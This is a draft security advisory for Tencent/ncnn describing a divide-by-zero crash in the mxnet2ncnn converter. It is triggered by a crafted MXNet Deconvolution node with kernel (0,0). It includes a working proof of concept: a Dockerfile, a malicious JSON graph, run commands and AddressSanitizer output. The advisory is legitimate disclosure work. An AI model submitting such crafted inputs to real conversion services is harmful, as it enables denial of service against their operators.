GitHub Advisory Manager
All advisories
Draft

Zero Kernel Causes MXNet Converter Crash

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Zero Kernel Causes MXNet Converter Crash

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/mxnet/mxnet2ncnn.cpp:2096 in main
Sanitizer verdict: FPE on unknown address 0x64be437c1dc3 (pc 0x64be437c1dc3 bp 0x7fff053d5240 sp 0x7fff053d24f0 T0)

Summary

A crafted MXNet JSON graph terminates mxnet2ncnn with SIGFPE instead of producing a converted model. The converter reads the kernel attribute of a Deconvolution node, multiplies its components into maxk, and then divides the weight-blob size by maxk without ever checking that the kernel is non-zero. A conversion service that runs mxnet2ncnn on user-submitted .json/.params pairs can be killed by a single node with "kernel": "(0,0)".

Detail

The untrusted field is the kernel attribute of a Deconvolution node, parsed by n.attr("kernel") into a std::vector<int> at tools/mxnet/mxnet2ncnn.cpp:1993. The values are echoed into the output .param (keys 1 and 11) and then multiplied together to form the per-channel kernel area maxk. Neither the attribute parser nor the Deconvolution branch rejects zero or negative components.

// tools/mxnet/mxnet2ncnn.cpp:1993
            std::vector<int> kernel = n.attr("kernel");

// tools/mxnet/mxnet2ncnn.cpp:2083
            int maxk = 0;
            if (kernel.size() == 2)
            {
                maxk = kernel[1] * kernel[0];
            }
            else
            {
                maxk = kernel[0] * kernel[0];
            }
            for (int g = 0; g < num_group; g++)
            {
                // reorder weight from inch-outch to outch-inch
                int num_filter_g = num_filter / num_group;
                int num_input = static_cast<int>(weight_data.size() / maxk / num_filter_g / num_group);

The PoC node carries "kernel": "(0,0)", "num_filter": "1" and "num_group": "1". The two-component branch sets maxk = 0 * 0 = 0. num_group is 1, so the loop body at line 2092 executes once, and line 2096 computes weight_data.size() / maxk — an integer division by zero on a size_t, which raises #DE and delivers SIGFPE inside main.

The division is reached before any weight data is inspected, so the accompanying .params container only has to be parseable; the PoC supplies a 32-byte all-zero container. The crash happens after the converter has already written partial output to the destination .param/.bin, leaving truncated files behind.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC) 
mkdir -p ncnn-poc-zero-kernel-causes-mxnet-converter-crash && cd ncnn-poc-zero-kernel-causes-mxnet-converter-crash

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.json <<'EOF'
{
  "nodes": [
    {
      "op": "Deconvolution",
      "name": "deconv0",
      "inputs": [],
      "attrs": {
        "kernel": "(0,0)",
        "num_filter": "1",
        "num_group": "1"
      }
    }
  ],
  "arg_nodes": [0],
  "heads": [[0, 0, 0]]
}
EOF

head -c 32 /dev/zero > poc.param

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/mxnet/mxnet2ncnn poc.json poc.param out.param out.bin

AddressSanitizer output:

=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5814c5e5adc3 (pc 0x5814c5e5adc3 bp 0x7ffde88c2730 sp 0x7ffde88bf9e0 T0)
    #0 0x5814c5e5adc3 in main /ncnn/tools/mxnet/mxnet2ncnn.cpp:2096
    #1 0x748e4e67f1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #2 0x748e4e67f28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x5814c5e459c4 in _start (/ncnn/build/tools/mxnet/mxnet2ncnn+0x99c4) (BuildId: 570831d83e6db66d37c79a6bef06d728c8377e18)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/tools/mxnet/mxnet2ncnn.cpp:2096 in main
==1==ABORTING

Credit

Zheng Yu @ DepthFirst

Discuss
Submit